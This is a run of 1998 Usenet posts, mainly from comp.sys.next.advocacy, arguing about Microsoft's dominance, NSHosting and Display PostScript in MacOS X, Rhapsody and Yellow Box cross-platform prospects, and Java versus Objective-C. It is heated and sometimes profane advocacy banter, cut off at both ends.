software "object oriented" enough to be able to keep up with Microsoft's
anti-competitive modifications in their OS. The fact that Microsoft
does not have this extra onus to development is their right because they
built the OS, with no help from anyone like these ungrateful third-party
app developers. In other words, yes, Wordperfect should just do things
the same way Microsoft does; that is what "innovation" is all about.
Meta-translation: John Saunder's know about as much about "object
oriented design" (he thinks it means "visual basic") as he does about
teaching (he confuses it with saying mystical sounding but meaningless
things like "at the interface level, Word and WordPerfect are very
similar").
>
>>I believe the same sorts of things happened with IWebBrowser. This
>>used to be part of IE, and *only* part of IE. Other browsers had no
>>access to this and no incentive to use it (unless you want to argue
>>that all companies should be emulating MS products by default). Now
>>MS has gone and declared a new API (IWebBrowser), with IE magically
>>being conformant already and everyone else playing catchup.
>>
>
>
>Darrin, you should go look at IWebBrowser. It's a pretty high-level
>interface. The only methods are GoBack, GoForward, GoHome, GoSearch, Stop,
>Navigate(url), and Refresh/Refresh2. It has a few interesting properties
>like LocationName, LocationURL and Busy. I see no reason Netscape couldn't
>implment that.
I see no reason they should have to, as the inclusion of this
functionality at a modular level is merely a smoke-screen for Microsoft
bundling their anti-competitive browser with their operating system.
Netscape has an even better "interface" (something tells me you don't
understand how flexible that term is, John). Their entire code base is
GPL. I see no reason Microsoft couldn't implement that.
[...]
>>They used the interfaces *before* they were documented and a part of
>>the OS. You yourself said earlier that IWebBrowser was in IE3.
>>Therefore, IE3 has used this interface long before the interface was
>>made a part of the operating system and before it was documented.
>>THAT'S A BOOST!
>>
>Darrin, IE3 both defined and implemented the interface. It didn't exist
>before IE3, it shipped with IE3.
Luckily IE3 shipped before the mystical "integration" of IE4 with
Win95b, so we can still hope that this factoid could be used in the
anti-trust case, even if it is too late for the contempt charge...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 17:39:27 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6k4d8f$ge0$1@news.cs.tu-berlin.de>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU>
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"Izumi Ohzawa" <izumi@pinoko.berkeley.edu> writes:
>Mike Paquette <mpaque@wco.com> wrote in article
><1d93iik.1l170dz8etsaxN@carina47.wco.com>...
>> There has been some concern expressed over MacOS X and the loss of the
>> NXHost capability. I'd like to clear a few things up.
>>
>> NX/NS Host Operation
>>
>> NXHost works by redirecting the PostScript binary object stream to a
>> PostScript interpreter running in a Window Server on a different machine
>> than the current application. A PostScript interpreter is required to
>> process this stream.
>>
>> MacOS X will not require a PostScript interpreter. One will not be
>> present in the base system. Therefore, one cannot reasonably process
>> the existing NSHost protocol to a MacOS X system.
>Is it really the loss of DPS that makes NSHosting difficult?
>After all, in principle, there can be Display PDF engine doing similar work
>as DPS
>and work on PDF streams from clients.
Re-read Mike's post.
He was very clear in separating
(a) NSHost capability, the current protocol which requires DPS
(b) remote display capability, which does not
Supporting option (a) is not possible because there is no
Postscript interpreter included with MacOS X.
There seems to be no problem in supporting (b) except for
available time and priorities. Additionally, there may be
support for third parties to provide this capability.
As usual, it all makes sense.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: News on WebObjects 4.0?
Date: 22 May 1998 17:30:12 GMT
Organization: Idiom Communications
Message-ID: <6k4cn4$71h$2@news.idiom.com>
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Would someone please give us a quick run-down of what mind-boggling
improvements WebObjects 4 brings to the table?
advTHANKSance,
-jcr
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 17:45:02 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6k4diu$goe$1@news.cs.tu-berlin.de>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com> <6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net>
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"Michelle L. Buck" <buck.erik@mcleod.net> writes:
>The reason that NSHosting will be gone in MacOS X is very simple.
Yes.
>In order
>to bring MacOS apps forward, Quickdraw MUST be preserved with very few
>changes. Quickdraw is an immediate mode API that will never be network
>hostable. On the other hand, the DPS style client server code (much of
>which is encapsulated in the AppKit anyway) can easily be made "immediate"
>without any or much change.
As far as I can tell, no.
The reason *NS*Hosting will not be provided is that MacOS is not
OPENSTEP or NEXTSTEP. It does not include a Postscript interpreter.
The specific protocols for NSHost/NXHost include the Postscript
capability, and it would certainly be necessary for NSHosting current
OPENSTEP/NEXTSTEP apps on a MacOS X system, which won't be possible.
Remote display capability is *not* impossible with the new imaging
system, and from what Mike said might even be implemented by the
time MacOS X ships.
I thought his post was very clear on all this.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 17:38:09 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd85a8$4bed8860$04387880@test1>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net>
> Ah, but NT isn't a wonderful server platform either. Yet it's
> making the inroads I mentioned.
IMHO, NT is making inroads because (1) it has the microsoft name and (2) it
has a huge application base.
The old saying "No one was ever fired for buying IBM" has been replaced by
"No one was ever fired for buying Microsoft". Microsoft is *perceived* as
both safe and the future.
I believe most UNIX vendors are in a similar position as Apple, mainly
selling into their existing customer base. Unit sales of UNIX boxes have
stalled :-(. Virtually every major UNIX vendor (with the notable exception
of Sun) has made the jump to selling NT boxes. I believe I read that HP's
NT sales exceeded their UNIX sales last year.
When the history books are written for 1980s-1990s, it will be interesting
to see how they explain how Microsoft was able to dominate market after
market with inferior products.
For Apple to get businesses to buy into their OSes, frameworks, or tools,
they need to convince people to "think differently". Perhaps a new
advertising slogan could be "You can't get ahead by being a follower."
(i.e., don't be like lemmings and blindly do what everyone else is doing -
you will never get ahead that way).
Todd
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 17:56:34 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3565BC52.B03EB5FC@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1>
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NNTP-Posting-Date: 22 May 1998 18:01:21 GMT
Todd Heberlein wrote:
>
> > Ah, but NT isn't a wonderful server platform either. Yet it's
> > making the inroads I mentioned.
>
> IMHO, NT is making inroads because (1) it has the microsoft name and (2) it
> has a huge application base.
[same old argument]
> When the history books are written for 1980s-1990s, it will be interesting
> to see how they explain how Microsoft was able to dominate market after
> market with inferior products.
Pshoosh. This is the sort of thing that just makes me tired of arguing.
Nobody's ever going to change their mind about this as long as they're
convinced that Microsoft's products are inferior. They'll just whine and
moan and piss and fart and spend melancholy hours making up new
fantastic and scholarly theories about how this paradoxical situation
can exist.
I'll just say this one last time and leave the entire discussion alone:
Microsoft's products are *BETTER*. I wonder that you can at once say "NT
has a huge application base" and "Microsoft makes inferior products".
That's a blatant contradiction. Microsoft makes products that are better
for their customers and as a result their customers buy them.
Here are my harsh words for you (the collective you): you think your
solutions are so much better, and smarter, and cleverer, and cuter, and
prettier, and snazzier, and faster. You think that little things here
and there, little geek-things, are what make a product better. Have you
ever been to an auto show? Have you ever wondered why concept cars so
rarely make it to production? Think hard, real hard. If you come to the
conclusion that "cool isn't always equivalent to useful", you're on the
right track.
Think about all the excuses for why Microsoft products sell, and instead
of excuses, start thinking of them as *reasons*. Instead of acting like
dispossessed intellectuals, start acting like proactive competitors.
Because from where I stand, if you work at Sun, HP, IBM, or SGI writing
operating systems and UNIX software, you just plain suck. Either that or
your management sucks, doesn't make a difference to me. The stuff you're
turning out is useless to 99% of the world.
Which isn't to say it's not cool. Oh, it's plenty cool. Linux is cool,
for instance. Maybe Linux is 100% cool. I'd put it at somewhere between
30% and 40% useful. Maybe lower.
The margins are reversed on a product like Windows NT. There's nothing
sexy about Windows NT. It's boring, it's backward, it's stupid, it's
amateur. Do I need to finish this thought? I think you're getting my
point.
So what I'm TRYING TO SAY is that instead of moping around, why doesn't
Apple start doing some of these things? Why doesn't it take its head out
of its ass and start making useful products? Cheap products? Common
products? K-car products?
Anyway, Apple could if it wanted to. Sun could if it wanted to. But
y'all would rather have a tragic hero than a boring winner, I guess.
MJP
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: Features for Rhapsody after Mac OS X
Date: 22 May 1998 18:02:34 GMT
Message-ID: <6k4ejq$7th$3@newsfep4.sprintmail.com>
References: <y9f91.2843$0A3.13617681@news.itd.umich.edu>
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Cc: not@my.address.net
In <y9f91.2843$0A3.13617681@news.itd.umich.edu> not@my.address.net wrote:
> Buried somewhere in the flow of information out of WWDC was the comment
that,
> for an unspecified period of time, Apple would continue to offer Rhapsody
as a
> separate product even after Mac OS X ships, and that it would be aimed at
the
> "server, development and publication markets".
I am not disputting that this was said, but I dont think its true. Who said
this? Because From what a senior developer relations person has said
rhapsody == macos x.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: 10 years of software dark ages
Date: 22 May 1998 17:10:13 GMT
Organization: Rockwell International
Message-ID: <6k4bhl$lo11@onews.collins.rockwell.com>
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>
>Michael J. Peck wrote in message <35651ADA.FEB13B57@nstar.net>...
>>Let me give you a quick example of what I mean. At one company with whom
>>I recently spoke, they have developed a high-availability middleware
>>layer for telecommunications. They run it on Solaris for development and
>>testing, but they deploy it on HPUX. Why? Hewlett-Packard is the only
>>solution that currently has an SS7 stack for their Service Control Point
>>network nodes to use.
>>
>[Delete info on sole source HPUX feature]
>
>>This situation is *extremely* common. Companies don't always get to
>>choose their solution, a lot of time it's forced on them for one reason
>>or another. What's their solution? Port to as many platforms as possible
>>so that you have the best possible chance of being right when the other
>>shoe drops.
>>
>>See what I'm saying? You can't just say, "I'm going to stick with
>>platform X and make that my baby and put all my eggs in that basket."
>>Something's going to come along and make it impossible to stick to your
>>strategy: your vendor will go out of business (SGI) or your vendor will
>>be late with support for a critical technology (the Java fiasco) or your
>>vendor will be bought by competition and move in a different strategic
>>direction (Digital Equipment). The *only* way to be safe is to have a
>>cross-platform solution, and to do that most companies simply rewrite
>>their software (and rewrite and rewrite and rewrite).
>>
>[Deleted YellowBox endorsement ]
>
>>MJP
>
>The one platform that almost all companies can safely put all their eggs in
>is Wintel. Ok, if you have some esoteric embedded system need or if you
>build telephone switches, you may need features impossible to get with
>Wintel. The other 99.99% of the people and companies are busy getting rid
>of every non-wintel machine and hiring NT administrators as fast as they
can
>be (half) trained.
>
>If you need extreme 3d, buy from SGI or Evans & Southerland (sp?)
>If you need 24/7 operation, buy IBM, HP, Sun servers and really really pay
a
>lot in total cost of ownership.
>If you need embedded controllers, buy Dec Alpha single board computers
>running VxWorks.
>If you want games, productivity software, wide variety of hardware options,
>compatibility with everyone you know or work with, small up-front
>investment, the widest range of software options in all categories, and the
>approval of your boss (the CEO), buy Wintel!
>
>Isn't that depressing ? The war is over. SJ is correct, Microsoft won.
We
>are all doomed to a software dark ages for at least 10 years. Get over it
>or quit the business. I haven't decided which I will do yet.
>
>The only people the iMacs or any other Apple offering will appeal to are
>people who already own a Mac. Only a fraction of those people will buy
>Apple again. Apple may make some profits selling upgrades to the loyal
>customer base for a while, but the writing is on the wall. If I were SJ, I
>would get out while I am still regarded as a hero.
>
>Look at the signs. Schools are dumping Mac as fast as they can. There is
>basically no widely accepted desktop publishing application that is not
>available for Wintel and often Wintel first. Apple is not a credible
server
>company. There is no place within 2 hours of my town of 120,000 people
>where I can buy a Mac retail. Cool technology like QuickTime and
WebObjects
>is on Wintel.
>WebObjects is Wintel FIRST at the moment.
>Unless you already have a Mac and
>a lot of mac software, there is no reason to buy anything from Apple. Even
>if PPC is 5x faster than Wintel, it is not faster enough to overcome market
>pressure and trends. People will just wait for the Merced chimera. And
>even if you have a Mac, there are all sorts of good compelling reasons to
>switch to Wintel (Like your boss will fire you if you ever buy another
Mac).
>
>Nobody ever got fired for buying Wintel. At many companies, buying Apple
is
>sufficient reason to fire someone. Why is that ? (Just look at the
history)
>
>My local school bard with 12000 students recently voted to replace all Macs
>with Wintel.
>Intel has convinced consumers that Merced will be awesome (I don't know if
>it will be or not).
>The few compelling advantages of Openstep such as Display Postscript and a
>superior GUI are now gone.
>
>YellowBox is awesome, but I personally encounter entrenched disbelief.
>Developers have heard it all before and they are unwilling to believe in
>cross platform again even though it is real now.
>
>Apple purchased Next 5 to 10 years too late. Every feature of MacOS-X and
>more could have been shipped in 1990 before Windows really took off.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
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<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
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Message-ID: <55j91.2241$Kx3.2305088@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 18:02:41 GMT
NNTP-Posting-Date: Fri, 22 May 1998 11:02:41 PDT
Organization: @Home Network
In <356511FD.BD193ABF@nstar.net> "Michael J. Peck" wrote:
> Rex Riley wrote:
>
> > How does that affect you? Are you Exemplar if not a developer?
>
> I don't know if I follow. The only Exemplar I know of is a high-end
> V-class Convex box.
>
Just probing whether its job related...
> > I've followed
> > threads posted here and other than a black piece of NeXT hardware
> > midadventure, I can't pigeonhole you. At one point you indicate you are a
Mac
> > afficianado.
> >
> > Where is the reward in crafting a cross-platform OS at Apple for MP? Why?
>
> What, am I the only cross-platform tech here? I know that's bullshit. I
> work on whatever's in front of me, and from time to time that's been an
> SPP-UX Convex, an HP-UX workstation, a Solaris workstation, an AIX
> workstation, a MacOS box, a Win95 box, a Windows NT box, a Linux box, a
> FreeBSD box, and even a NeXTCube.
>
> This isn't a point of pride, it's just a fact.
>
>
It should be... most choose not to view them as tools.
> I defy the pigeonhole
> because (in the words of John Kheit) I'm a whore. I'll use whatever is
> necessary at a given point in time and it doesn't matter to me what it
> is as long as it has the tools I need to get my job done.
>
A rare ego-less point of view. John sugarcoats his words too much I think...
:-)
> That's the reward, Rex.
Ah,jaaah...
[snip X - platform stuff ]
(...X-platform the vestigial "X" in MacOS X ¼ )
> Most of my motivation for this opinion comes from spending five years as
> an Apple slut banging the big drum and acting like a dumbass thinking
> MacOS was the be-all, end-all of computing platforms. Nowadays I want to
> get as far from that as possible
> without sacrificing what I originally loved about the MacOS and
> basically living as a bitter outcast.
>
We've all been there... Hello Apple? No Groundhog Day!
> I don't think Apple is the only company that can achieve my goals, but
> I'm not so stupid as to turn away when the opportunity is at hand. I
> would dearly love to see Apple deliver what I consider to be the Nirvana
> of Computing, and if it happens I'll be the biggest supporter. But I
> won't give up my brain just to realize a secondary dream when something
> much bigger stands to be achieved, and if I have to write the OS and the
> tools myself I'll be an Electric Monk for three years to make it happen.
> Linus Torvalds isn't smarter than the rest of us, he just had the balls
> to swallow hard and make it all happen. Anyone who doesn't learn that
> lesson is doomed to fight the OS wars the rest of their life.
>
>
Don't expect Apple to deliver Nirvana (ala Macintosh). Linus was smart enough
to know he couldn't Monk it alone. And the wars are shifting to API and
protocol layers, anyway.
Hidden costs for developers in the WWDC98 Roadmap to MacOS X is captial drain.
That Apple wasn't close enough to its Developers (core even) to know they
couldn't "afford" to rewrite their .apps to YB was a Corp. "surprise". It
must have took Intuit's "in your face" action of dropping the platform to
drive the point home to Jobs.
For Developer's, even with Carbon, MacOS X will rev earlier and more often
than they've been accustomed. Rev'ing is made easier with the O-O OS.
WebObjects rev'd 1.0 - 2.0 - 3.0 within 16mos. and broke architecture on the
last rev forcing a significant rewrite. Not only were products obsolete
before they got to market, but we need to support two source trees and rewrote
to the new libs.
It's real important for Apple to move its cashcow onto MacOS X. Without them,
the rest of what they want to accomplish is and will remain a Big Dream.
-r
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 14:00:40 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4eg8$8q0$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.n <6k4ch9$71h$1@news.idiom.com>
In article <6k4ch9$71h$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com wrote:
> FYI: The original NeXTSTEP/Intel port was done for well under $4 mil.
> @$500/copy, they'd need to sell about 8,000 copies of the developer system to
> pay for the port. (Plus whatever marketing/overhead applies.)
> Now, if they'd license *me* to do this, I'd put it out for HP-UX, DEC UNIX,
> Linux and Slowlaris within a year.
Have you asked? If there were third parties willing and _able_ to devote
the time/money/resources/effort to doing a YB port to a new platform,
maybe Apple would let them. Probably unlikely, but worth asking.
From: dave@prim.demon.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Java is VHS, YellowBox is Betamax
Date: Fri, 22 May 1998 17:57:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k4e9i$420$1@nnrp1.dejanews.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
In article <35626D26.B7616464@alum.mit.edu>,
Eric Hermanson <eric@alum.mit.edu> wrote:
>
> I have no problem with Yellow Box continuing to be wrapped in Java, making the
> API's available. But I would hate to see Objective-C go away as a language in
> favor of Java. I think many developers will adopt Obj-C once they are exposed
> to it.
You better get used to it then 'cos Obj-C is history.
But this access to Yellow Box from Java puzzles me. Why would anyone want to
do that? Given the choice between writing to the standard (and very
extensive) API's in Java 1.2, why would any developers want to go and write
for the non-portable API's that Yellow Box provides?
Steve Jobs has obviously recognized that Java is the future and has committed
Apple to producing the fastest Java VM around. His followers don't seem to
have woken up and smelt the coffee though.
The old AppKit API's are going to fade away. You can do all that and more in
Java 1.2, plus it'll run everywhere. The Java VM gives us a common media
to "play" software on. Java is like VHS, Yellow Box will be like Betamax.
Dave
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 18:02:59 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3565BDD3.925B8057@nstar.net>
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<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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NNTP-Posting-Date: 22 May 1998 18:07:42 GMT
Maury Markowitz wrote:
[cut]
> Absolutely, but to a point of diminishing returns. A million copies sold
> on Intel would likely influence maybe 100 Solaris programmers to use it (just
> tossing out numbers). The same in reverse. It's great if the sales to one
> platform bootstrap sales on another, but I just don't see any overlap in the
> markets.
Whatever. Forgive me if I say that your argument makes little sense.
Programmers don't choose platforms, universities and employers do. A
million copies of Rhapsody on Intel would mean copies of Rhapsody on
every alternative platform that could support it for the sake of
interoperability. Period.
I don't understand the part about Solaris programmers, either. The whole
point is that operating system is irrelevant. If you're a YB programmer,
you're a YB programmer, I don't care if you came from Wintel or from
Solaris. It makes no difference.
> The only place I see this working is on Intel. None of these other
> platform have either the marketshare or the mindshare for anyone to notice.
Hmmm, right, it didn't raise any eyebrows that Java would run
anywhere...
> Making a really good dual booting Intel Rhapsody would do this I think.
> Making a superb Solaris port almost certainly would NOT.
You've got it backwards.
> > Stop. You're assuming that the only revenue stream is from sales of
> > Yellow Box. This is patently untrue. The full range of avenues of
> > possible income hasn't been even remotely explored.
>
> Apple has basically two paths, sales of Rhapsody related items, and sales
> of Mac related items.
Ridiculous.
> YB over Solaris (again, EG) would likely do nothing for
> either.
Well, I can't prove it to you, so I guess you win. But you're very wrong
anyway.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 10:07:21 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2205981007210001@dante.eng.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3>
In article <rex-2205980058440001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
>Am I the only
>one who noticed (and is very worried) that there were no significant WWDC
>announcements about 3D?
Apple will support AltiVec when it ships. That seems like a significant
WWDC announcement about 3D to me, though you do need to fill in around the
edges a bit, I admit.
-Bob Cassidy
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <tvyzpgcd8lf.fsf@cn1.connectnet.com> <87ra1mylcl.fsf@jackpot.lan>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvyogwqgovm.fsf@cn1.connectnet.com>
Date: Fri, 22 May 1998 18:08:11 GMT
NNTP-Posting-Date: Fri, 22 May 1998 11:08:11 PDT
Tor Slettnes <tor@netcom.com> writes:
> Questionable. The alternative was to provide two alternative, and
> "competitive" browsers - frankly, even that is going to be difficult.
> Netscape is pretty much the only competitive browser to MSIE.
Well, let's say Microsoft in a fit of anger, decides to go along, but
license Opera instead of Netscape? Hmm, I could live with that :-)
--
Darin Johnson
darin@usa.net.delete_me
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 22 May 1998 14:11:57 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2205981411570001@port29.dialb2.gain-ny.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36> <ericb-2005981944160001@132.236.171.104> <aa829-2105981528170001@port24.dialb2.gain-ny.com> <joe.ragosta-2205980755590001@wil135.dol.net>
Mail-Copies-To: always
In article <joe.ragosta-2205980755590001@wil135.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Unfortunately, this was later negated by statements from Steve Jobs.
Well, perhaps in your opinion. The WWDC announcements were explicit and
from the actual people who are in charge of doing the coding.
Steve delivered a "Rhapsody's Dead" keynote that subsequently turned out
not to accord much with the actual plans for OS-X. He's playing some sort
of wierd head-game here.
--
mingo "at" panix "dot" com
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net>
Message-ID: <Rgj91.2242$Kx3.2305088@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 18:15:13 GMT
NNTP-Posting-Date: Fri, 22 May 1998 11:15:13 PDT
Organization: @Home Network
In <35651ADA.FEB13B57@nstar.net> "Michael J. Peck" wrote:
> See what I'm saying?
>
>
Absolutely... just that it didn't help NeXT, much.
> You can't just say, "I'm going to stick with
> platform X and make that my baby and put all my eggs in that basket."
> Something's going to come along and make it impossible to stick to your
> strategy: your vendor will go out of business (SGI) or your vendor will
> be late with support for a critical technology (the Java fiasco) or your
> vendor will be bought by competition and move in a different strategic
> direction (Digital Equipment). The *only* way to be safe is to have a
> cross-platform solution, and to do that most companies simply rewrite
> their software (and rewrite and rewrite and rewrite).
>
>
I would've thought with Sun, HP on-board the OPENSTEP initiative that
cross-platform would have taken off. It didn't. The mfg'rs all but ignored
it. I don't have the answers. You obviously being on the inside aren't
seeing the logic in HP dropping out of OPENSTEP.
> That's what's so exciting about Yellow Box!! It *fixes* all of that by
> providing not only a cross-platform solution, but an *excellent*
> cross-platform solution. So when I hear that Yellow Box is just going to
> be a great MacOS API, I want to vomit! What a waste!
>
So what you have now is Linux, GnuStep ground-up projects. These are the
people still carrying the torch. All the mfgr's have lost interest in
cross-platform. Now Apple looks on the verge of joining the rest, too.
-r
>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 22 May 1998 14:19:44 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
References: <356573e8.5831486@nntp.atl.mindspring.com>
In article <356573e8.5831486@nntp.atl.mindspring.com>, dgason@mindspring.com wrote:
> I've seen what Apple is doing to nextstep to create Rhapsody,
> have heard what it is doing to create OS X and really aren't excited
> about either.
There are still many aspects of both that are superior to NEXTSTEP.
Just not the UI (IMHO).
> If I wanted to ignore all of the Mac features of Rhapsody,
> could I get it to look and act like nextstep? If so, how long will
> this last?
There may or may not be some dwrites you could use to change the
appearance/behavior of windows to NEXTSTEP style. (That would probably
only apply to any UI elements that exist now, not anything added later.)
I don't know count on them being there forever though.
The themes support in MacOS X might be sufficient to give a NEXTSTEP
look, and it's something you could count on being there.
You probably can't make it _exactly_ like NEXTSTEP in all respects (i.e.,
